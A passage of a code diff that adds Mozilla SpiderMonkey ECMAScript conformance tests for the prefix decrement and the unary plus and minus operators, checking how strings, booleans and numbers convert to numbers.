+new TestCase( SECTION, "var MYVAR=new String('0Xf');++MYVAR", 16, eval("var MYVAR=new String('0Xf');++MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');++MYVAR", 78, eval("var MYVAR=new String('077');++MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String(''); ++MYVAR", 1, eval("var MYVAR=new String('');++MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new String('string');++MYVAR;MYVAR", Number.NaN, eval("var MYVAR=new String('string');++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');++MYVAR;MYVAR", 12346, eval("var MYVAR=new String('12345');++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');++MYVAR;MYVAR", -12344, eval("var MYVAR=new String('-12345');++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('0xf');++MYVAR;MYVAR", 16, eval("var MYVAR=new String('0xf');++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');++MYVAR;MYVAR", 78, eval("var MYVAR=new String('077');++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('');++MYVAR;MYVAR", 1, eval("var MYVAR=new String('');++MYVAR;MYVAR") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.4.5.js b/js/src/tests/ecma/Expressions/11.4.5.js
new file mode 100644
index 000000000..1d3ca78f0
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.5.js
@@ -0,0 +1,120 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.5.js
+ ECMA Section: 11.4.5 Prefix decrement operator
+ Description:
+
+ The production UnaryExpression : -- UnaryExpression is evaluated as follows:
+
+ 1.Evaluate UnaryExpression.
+ 2.Call GetValue(Result(1)).
+ 3.Call ToNumber(Result(2)).
+ 4.Subtract the value 1 from Result(3), using the same rules as for the - operator (section 11.6.3).
+ 5.Call PutValue(Result(1), Result(4)).
+
+ 1.Return Result(4).
+ Author: christine@netscape.com
+ Date: \ 12 november 1997
+*/
+var SECTION = "11.4.5";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Prefix decrement operator");
+
+//
+new TestCase( SECTION, "var MYVAR; --MYVAR", NaN, eval("var MYVAR; --MYVAR") );
+new TestCase( SECTION, "var MYVAR= void 0; --MYVAR", NaN, eval("var MYVAR=void 0; --MYVAR") );
+new TestCase( SECTION, "var MYVAR=null; --MYVAR", -1, eval("var MYVAR=null; --MYVAR") );
+new TestCase( SECTION, "var MYVAR=true; --MYVAR", 0, eval("var MYVAR=true; --MYVAR") );
+new TestCase( SECTION, "var MYVAR=false; --MYVAR", -1, eval("var MYVAR=false; --MYVAR") );
+
+// special numbers
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;--MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;--MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;--MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;--MYVAR;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;--MYVAR;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;--MYVAR;MYVAR") );
+
+
+// number primitives
+new TestCase( SECTION, "var MYVAR=0;--MYVAR", -1, eval("var MYVAR=0;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;--MYVAR", -0.7655, eval("var MYVAR=0.2345;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;--MYVAR", -1.2345, eval("var MYVAR=-0.2345;--MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;--MYVAR;MYVAR", -0.7655, eval("var MYVAR=0.2345;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;--MYVAR;MYVAR", -1.2345, eval("var MYVAR=-0.2345;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;--MYVAR;MYVAR", -1, eval("var MYVAR=0;--MYVAR;MYVAR") );
+
+// boolean values
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=true;--MYVAR", 0, eval("var MYVAR=true;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;--MYVAR", -1, eval("var MYVAR=false;--MYVAR") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=true;--MYVAR;MYVAR", 0, eval("var MYVAR=true;--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;--MYVAR;MYVAR", -1, eval("var MYVAR=false;--MYVAR;MYVAR") );
+
+// boolean objects
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);--MYVAR", 0, eval("var MYVAR=true;--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);--MYVAR", -1, eval("var MYVAR=false;--MYVAR") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);--MYVAR;MYVAR", 0, eval("var MYVAR=new Boolean(true);--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);--MYVAR;MYVAR", -1, eval("var MYVAR=new Boolean(false);--MYVAR;MYVAR") );
+
+// string primitives
+new TestCase( SECTION, "var MYVAR='string';--MYVAR", Number.NaN, eval("var MYVAR='string';--MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';--MYVAR", 12344, eval("var MYVAR='12345';--MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';--MYVAR", -12346, eval("var MYVAR='-12345';--MYVAR") );
+new TestCase( SECTION, "var MYVAR='0Xf';--MYVAR", 14, eval("var MYVAR='0Xf';--MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';--MYVAR", 76, eval("var MYVAR='077';--MYVAR") );
+new TestCase( SECTION, "var MYVAR=''; --MYVAR", -1, eval("var MYVAR='';--MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR='string';--MYVAR;MYVAR", Number.NaN, eval("var MYVAR='string';--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';--MYVAR;MYVAR", 12344, eval("var MYVAR='12345';--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';--MYVAR;MYVAR", -12346, eval("var MYVAR='-12345';--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='0xf';--MYVAR;MYVAR", 14, eval("var MYVAR='0xf';--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';--MYVAR;MYVAR", 76, eval("var MYVAR='077';--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='';--MYVAR;MYVAR", -1, eval("var MYVAR='';--MYVAR;MYVAR") );
+
+// string objects
+new TestCase( SECTION, "var MYVAR=new String('string');--MYVAR", Number.NaN, eval("var MYVAR=new String('string');--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');--MYVAR", 12344, eval("var MYVAR=new String('12345');--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');--MYVAR", -12346, eval("var MYVAR=new String('-12345');--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('0Xf');--MYVAR", 14, eval("var MYVAR=new String('0Xf');--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');--MYVAR", 76, eval("var MYVAR=new String('077');--MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String(''); --MYVAR", -1, eval("var MYVAR=new String('');--MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new String('string');--MYVAR;MYVAR", Number.NaN, eval("var MYVAR=new String('string');--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');--MYVAR;MYVAR", 12344, eval("var MYVAR=new String('12345');--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');--MYVAR;MYVAR", -12346, eval("var MYVAR=new String('-12345');--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('0xf');--MYVAR;MYVAR", 14, eval("var MYVAR=new String('0xf');--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');--MYVAR;MYVAR", 76, eval("var MYVAR=new String('077');--MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('');--MYVAR;MYVAR", -1, eval("var MYVAR=new String('');--MYVAR;MYVAR") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.4.6.js b/js/src/tests/ecma/Expressions/11.4.6.js
new file mode 100644
index 000000000..16238f020
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.6.js
@@ -0,0 +1,265 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.6.js
+ ECMA Section: 11.4.6 Unary + Operator
+ Description: convert operand to Number type
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "11.4.6";
+var VERSION = "ECMA_1";
+var BUGNUMBER="77391";
+
+startTest();
+
+writeHeaderToLog( SECTION + " Unary + operator");
+
+new TestCase( SECTION, "+('')", 0, +("") );
+new TestCase( SECTION, "+(' ')", 0, +(" ") );
+new TestCase( SECTION, "+(\\t)", 0, +("\t") );
+new TestCase( SECTION, "+(\\n)", 0, +("\n") );
+new TestCase( SECTION, "+(\\r)", 0, +("\r") );
+new TestCase( SECTION, "+(\\f)", 0, +("\f") );
+
+new TestCase( SECTION, "+(String.fromCharCode(0x0009)", 0, +(String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "+(String.fromCharCode(0x0020)", 0, +(String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "+(String.fromCharCode(0x000C)", 0, +(String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "+(String.fromCharCode(0x000B)", 0, +(String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "+(String.fromCharCode(0x000D)", 0, +(String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "+(String.fromCharCode(0x000A)", 0, +(String.fromCharCode(0x000A)) );
+
+// a StringNumericLiteral may be preceeded or followed by whitespace and/or
+// line terminators
+
+new TestCase( SECTION, "+( ' ' + 999 )", 999, +( ' '+999) );
+new TestCase( SECTION, "+( '\\n' + 999 )", 999, +( '\n' +999) );
+new TestCase( SECTION, "+( '\\r' + 999 )", 999, +( '\r' +999) );
+new TestCase( SECTION, "+( '\\t' + 999 )", 999, +( '\t' +999) );
+new TestCase( SECTION, "+( '\\f' + 999 )", 999, +( '\f' +999) );
+
+new TestCase( SECTION, "+( 999 + ' ' )", 999, +( 999+' ') );
+new TestCase( SECTION, "+( 999 + '\\n' )", 999, +( 999+'\n' ) );
+new TestCase( SECTION, "+( 999 + '\\r' )", 999, +( 999+'\r' ) );
+new TestCase( SECTION, "+( 999 + '\\t' )", 999, +( 999+'\t' ) );
+new TestCase( SECTION, "+( 999 + '\\f' )", 999, +( 999+'\f' ) );
+
+new TestCase( SECTION, "+( '\\n' + 999 + '\\n' )", 999, +( '\n' +999+'\n' ) );
+new TestCase( SECTION, "+( '\\r' + 999 + '\\r' )", 999, +( '\r' +999+'\r' ) );
+new TestCase( SECTION, "+( '\\t' + 999 + '\\t' )", 999, +( '\t' +999+'\t' ) );
+new TestCase( SECTION, "+( '\\f' + 999 + '\\f' )", 999, +( '\f' +999+'\f' ) );
+
+new TestCase( SECTION, "+( ' ' + '999' )", 999, +( ' '+'999') );
+new TestCase( SECTION, "+( '\\n' + '999' )", 999, +( '\n' +'999') );
+new TestCase( SECTION, "+( '\\r' + '999' )", 999, +( '\r' +'999') );
+new TestCase( SECTION, "+( '\\t' + '999' )", 999, +( '\t' +'999') );
+new TestCase( SECTION, "+( '\\f' + '999' )", 999, +( '\f' +'999') );
+
+new TestCase( SECTION, "+( '999' + ' ' )", 999, +( '999'+' ') );
+new TestCase( SECTION, "+( '999' + '\\n' )", 999, +( '999'+'\n' ) );
+new TestCase( SECTION, "+( '999' + '\\r' )", 999, +( '999'+'\r' ) );
+new TestCase( SECTION, "+( '999' + '\\t' )", 999, +( '999'+'\t' ) );
+new TestCase( SECTION, "+( '999' + '\\f' )", 999, +( '999'+'\f' ) );
+
+new TestCase( SECTION, "+( '\\n' + '999' + '\\n' )", 999, +( '\n' +'999'+'\n' ) );
+new TestCase( SECTION, "+( '\\r' + '999' + '\\r' )", 999, +( '\r' +'999'+'\r' ) );
+new TestCase( SECTION, "+( '\\t' + '999' + '\\t' )", 999, +( '\t' +'999'+'\t' ) );
+new TestCase( SECTION, "+( '\\f' + '999' + '\\f' )", 999, +( '\f' +'999'+'\f' ) );
+
+new TestCase( SECTION, "+( String.fromCharCode(0x0009) + '99' )", 99, +( String.fromCharCode(0x0009) + '99' ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x0020) + '99' )", 99, +( String.fromCharCode(0x0020) + '99' ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000C) + '99' )", 99, +( String.fromCharCode(0x000C) + '99' ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000B) + '99' )", 99, +( String.fromCharCode(0x000B) + '99' ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000D) + '99' )", 99, +( String.fromCharCode(0x000D) + '99' ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000A) + '99' )", 99, +( String.fromCharCode(0x000A) + '99' ) );
+
+new TestCase( SECTION, "+( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", 99, +( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x0009)", 99, +( '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x0020)", 99, +( '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000C)", 99, +( '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000D)", 99, +( '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000B)", 99, +( '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "+( '99' + String.fromCharCode(0x000A)", 99, +( '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "+( String.fromCharCode(0x0009) + 99 )", 99, +( String.fromCharCode(0x0009) + 99 ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x0020) + 99 )", 99, +( String.fromCharCode(0x0020) + 99 ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000C) + 99 )", 99, +( String.fromCharCode(0x000C) + 99 ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000B) + 99 )", 99, +( String.fromCharCode(0x000B) + 99 ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000D) + 99 )", 99, +( String.fromCharCode(0x000D) + 99 ) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000A) + 99 )", 99, +( String.fromCharCode(0x000A) + 99 ) );
+
+new TestCase( SECTION, "+( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "+( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", 99, +( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x0009)", 99, +( 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x0020)", 99, +( 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000C)", 99, +( 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000D)", 99, +( 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000B)", 99, +( 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "+( 99 + String.fromCharCode(0x000A)", 99, +( 99 + String.fromCharCode(0x000A)) );
+
+
+// StrNumericLiteral:::StrDecimalLiteral:::Infinity
+
+new TestCase( SECTION, "+('Infinity')", Math.pow(10,10000), +("Infinity") );
+new TestCase( SECTION, "+('-Infinity')", -Math.pow(10,10000), +("-Infinity") );
+new TestCase( SECTION, "+('+Infinity')", Math.pow(10,10000), +("+Infinity") );
+
+// StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt
+
+new TestCase( SECTION, "+('0')", 0, +("0") );
+new TestCase( SECTION, "+('-0')", -0, +("-0") );
+new TestCase( SECTION, "+('+0')", 0, +("+0") );
+
+new TestCase( SECTION, "+('1')", 1, +("1") );
+new TestCase( SECTION, "+('-1')", -1, +("-1") );
+new TestCase( SECTION, "+('+1')", 1, +("+1") );
+
+new TestCase( SECTION, "+('2')", 2, +("2") );
+new TestCase( SECTION, "+('-2')", -2, +("-2") );
+new TestCase( SECTION, "+('+2')", 2, +("+2") );
+
+new TestCase( SECTION, "+('3')", 3, +("3") );
+new TestCase( SECTION, "+('-3')", -3, +("-3") );
+new TestCase( SECTION, "+('+3')", 3, +("+3") );
+
+new TestCase( SECTION, "+('4')", 4, +("4") );
+new TestCase( SECTION, "+('-4')", -4, +("-4") );
+new TestCase( SECTION, "+('+4')", 4, +("+4") );
+
+new TestCase( SECTION, "+('5')", 5, +("5") );
+new TestCase( SECTION, "+('-5')", -5, +("-5") );
+new TestCase( SECTION, "+('+5')", 5, +("+5") );
+
+new TestCase( SECTION, "+('6')", 6, +("6") );
+new TestCase( SECTION, "+('-6')", -6, +("-6") );
+new TestCase( SECTION, "+('+6')", 6, +("+6") );
+
+new TestCase( SECTION, "+('7')", 7, +("7") );
+new TestCase( SECTION, "+('-7')", -7, +("-7") );
+new TestCase( SECTION, "+('+7')", 7, +("+7") );
+
+new TestCase( SECTION, "+('8')", 8, +("8") );
+new TestCase( SECTION, "+('-8')", -8, +("-8") );
+new TestCase( SECTION, "+('+8')", 8, +("+8") );
+
+new TestCase( SECTION, "+('9')", 9, +("9") );
+new TestCase( SECTION, "+('-9')", -9, +("-9") );
+new TestCase( SECTION, "+('+9')", 9, +("+9") );
+
+new TestCase( SECTION, "+('3.14159')", 3.14159, +("3.14159") );
+new TestCase( SECTION, "+('-3.14159')", -3.14159, +("-3.14159") );
+new TestCase( SECTION, "+('+3.14159')", 3.14159, +("+3.14159") );
+
+new TestCase( SECTION, "+('3.')", 3, +("3.") );
+new TestCase( SECTION, "+('-3.')", -3, +("-3.") );
+new TestCase( SECTION, "+('+3.')", 3, +("+3.") );
+
+new TestCase( SECTION, "+('3.e1')", 30, +("3.e1") );
+new TestCase( SECTION, "+('-3.e1')", -30, +("-3.e1") );
+new TestCase( SECTION, "+('+3.e1')", 30, +("+3.e1") );
+
+new TestCase( SECTION, "+('3.e+1')", 30, +("3.e+1") );
+new TestCase( SECTION, "+('-3.e+1')", -30, +("-3.e+1") );
+new TestCase( SECTION, "+('+3.e+1')", 30, +("+3.e+1") );
+
+new TestCase( SECTION, "+('3.e-1')", .30, +("3.e-1") );
+new TestCase( SECTION, "+('-3.e-1')", -.30, +("-3.e-1") );
+new TestCase( SECTION, "+('+3.e-1')", .30, +("+3.e-1") );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "+('.00001')", 0.00001, +(".00001") );
+new TestCase( SECTION, "+('+.00001')", 0.00001, +("+.00001") );
+new TestCase( SECTION, "+('-0.0001')", -0.00001, +("-.00001") );
+
+new TestCase( SECTION, "+('.01e2')", 1, +(".01e2") );
+new TestCase( SECTION, "+('+.01e2')", 1, +("+.01e2") );
+new TestCase( SECTION, "+('-.01e2')", -1, +("-.01e2") );
+
+new TestCase( SECTION, "+('.01e+2')", 1, +(".01e+2") );
+new TestCase( SECTION, "+('+.01e+2')", 1, +("+.01e+2") );
+new TestCase( SECTION, "+('-.01e+2')", -1, +("-.01e+2") );
+
+new TestCase( SECTION, "+('.01e-2')", 0.0001, +(".01e-2") );
+new TestCase( SECTION, "+('+.01e-2')", 0.0001, +("+.01e-2") );
+new TestCase( SECTION, "+('-.01e-2')", -0.0001, +("-.01e-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "+('1234e5')", 123400000, +("1234e5") );
+new TestCase( SECTION, "+('+1234e5')", 123400000, +("+1234e5") );
+new TestCase( SECTION, "+('-1234e5')", -123400000, +("-1234e5") );
+
+new TestCase( SECTION, "+('1234e+5')", 123400000, +("1234e+5") );
+new TestCase( SECTION, "+('+1234e+5')", 123400000, +("+1234e+5") );
+new TestCase( SECTION, "+('-1234e+5')", -123400000, +("-1234e+5") );
+
+new TestCase( SECTION, "+('1234e-5')", 0.01234, +("1234e-5") );
+new TestCase( SECTION, "+('+1234e-5')", 0.01234, +("+1234e-5") );
+new TestCase( SECTION, "+('-1234e-5')", -0.01234, +("-1234e-5") );
+
+// StrNumericLiteral::: HexIntegerLiteral
+
+new TestCase( SECTION, "+('0x0')", 0, +("0x0"));
+new TestCase( SECTION, "+('0x1')", 1, +("0x1"));
+new TestCase( SECTION, "+('0x2')", 2, +("0x2"));
+new TestCase( SECTION, "+('0x3')", 3, +("0x3"));
+new TestCase( SECTION, "+('0x4')", 4, +("0x4"));
+new TestCase( SECTION, "+('0x5')", 5, +("0x5"));
+new TestCase( SECTION, "+('0x6')", 6, +("0x6"));
+new TestCase( SECTION, "+('0x7')", 7, +("0x7"));
+new TestCase( SECTION, "+('0x8')", 8, +("0x8"));
+new TestCase( SECTION, "+('0x9')", 9, +("0x9"));
+new TestCase( SECTION, "+('0xa')", 10, +("0xa"));
+new TestCase( SECTION, "+('0xb')", 11, +("0xb"));
+new TestCase( SECTION, "+('0xc')", 12, +("0xc"));
+new TestCase( SECTION, "+('0xd')", 13, +("0xd"));
+new TestCase( SECTION, "+('0xe')", 14, +("0xe"));
+new TestCase( SECTION, "+('0xf')", 15, +("0xf"));
+new TestCase( SECTION, "+('0xA')", 10, +("0xA"));
+new TestCase( SECTION, "+('0xB')", 11, +("0xB"));
+new TestCase( SECTION, "+('0xC')", 12, +("0xC"));
+new TestCase( SECTION, "+('0xD')", 13, +("0xD"));
+new TestCase( SECTION, "+('0xE')", 14, +("0xE"));
+new TestCase( SECTION, "+('0xF')", 15, +("0xF"));
+
+new TestCase( SECTION, "+('0X0')", 0, +("0X0"));
+new TestCase( SECTION, "+('0X1')", 1, +("0X1"));
+new TestCase( SECTION, "+('0X2')", 2, +("0X2"));
+new TestCase( SECTION, "+('0X3')", 3, +("0X3"));
+new TestCase( SECTION, "+('0X4')", 4, +("0X4"));
+new TestCase( SECTION, "+('0X5')", 5, +("0X5"));
+new TestCase( SECTION, "+('0X6')", 6, +("0X6"));
+new TestCase( SECTION, "+('0X7')", 7, +("0X7"));
+new TestCase( SECTION, "+('0X8')", 8, +("0X8"));
+new TestCase( SECTION, "+('0X9')", 9, +("0X9"));
+new TestCase( SECTION, "+('0Xa')", 10, +("0Xa"));
+new TestCase( SECTION, "+('0Xb')", 11, +("0Xb"));
+new TestCase( SECTION, "+('0Xc')", 12, +("0Xc"));
+new TestCase( SECTION, "+('0Xd')", 13, +("0Xd"));
+new TestCase( SECTION, "+('0Xe')", 14, +("0Xe"));
+new TestCase( SECTION, "+('0Xf')", 15, +("0Xf"));
+new TestCase( SECTION, "+('0XA')", 10, +("0XA"));
+new TestCase( SECTION, "+('0XB')", 11, +("0XB"));
+new TestCase( SECTION, "+('0XC')", 12, +("0XC"));
+new TestCase( SECTION, "+('0XD')", 13, +("0XD"));
+new TestCase( SECTION, "+('0XE')", 14, +("0XE"));
+new TestCase( SECTION, "+('0XF')", 15, +("0XF"));
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.4.7-01.js b/js/src/tests/ecma/Expressions/11.4.7-01.js
new file mode 100644
index 000000000..28e996ff7
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.7-01.js
@@ -0,0 +1,265 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.7-01.js
+ ECMA Section: 11.4.7 Unary - Operator
+ Description: convert operand to Number type and change sign
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "11.4.7";
+var VERSION = "ECMA_1";
+var BUGNUMBER="77391";
+
+startTest();
+
+writeHeaderToLog( SECTION + " Unary + operator");
+
+new TestCase( SECTION, "-('')", -0, -("") );
+new TestCase( SECTION, "-(' ')", -0, -(" ") );
+new TestCase( SECTION, "-(\\t)", -0, -("\t") );
+new TestCase( SECTION, "-(\\n)", -0, -("\n") );
+new TestCase( SECTION, "-(\\r)", -0, -("\r") );
+new TestCase( SECTION, "-(\\f)", -0, -("\f") );
+
+new TestCase( SECTION, "-(String.fromCharCode(0x0009)", -0, -(String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "-(String.fromCharCode(0x0020)", -0, -(String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "-(String.fromCharCode(0x000C)", -0, -(String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "-(String.fromCharCode(0x000B)", -0, -(String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "-(String.fromCharCode(0x000D)", -0, -(String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "-(String.fromCharCode(0x000A)", -0, -(String.fromCharCode(0x000A)) );
+
+// a StringNumericLiteral may be preceeded or followed by whitespace and/or
+// line terminators
+
+new TestCase( SECTION, "-( ' ' + 999 )", -999, -( ' '+999) );
+new TestCase( SECTION, "-( '\\n' + 999 )", -999, -( '\n' +999) );
+new TestCase( SECTION, "-( '\\r' + 999 )", -999, -( '\r' +999) );
+new TestCase( SECTION, "-( '\\t' + 999 )", -999, -( '\t' +999) );
+new TestCase( SECTION, "-( '\\f' + 999 )", -999, -( '\f' +999) );
+
+new TestCase( SECTION, "-( 999 + ' ' )", -999, -( 999+' ') );
+new TestCase( SECTION, "-( 999 + '\\n' )", -999, -( 999+'\n' ) );
+new TestCase( SECTION, "-( 999 + '\\r' )", -999, -( 999+'\r' ) );
+new TestCase( SECTION, "-( 999 + '\\t' )", -999, -( 999+'\t' ) );
+new TestCase( SECTION, "-( 999 + '\\f' )", -999, -( 999+'\f' ) );
+
+new TestCase( SECTION, "-( '\\n' + 999 + '\\n' )", -999, -( '\n' +999+'\n' ) );
+new TestCase( SECTION, "-( '\\r' + 999 + '\\r' )", -999, -( '\r' +999+'\r' ) );
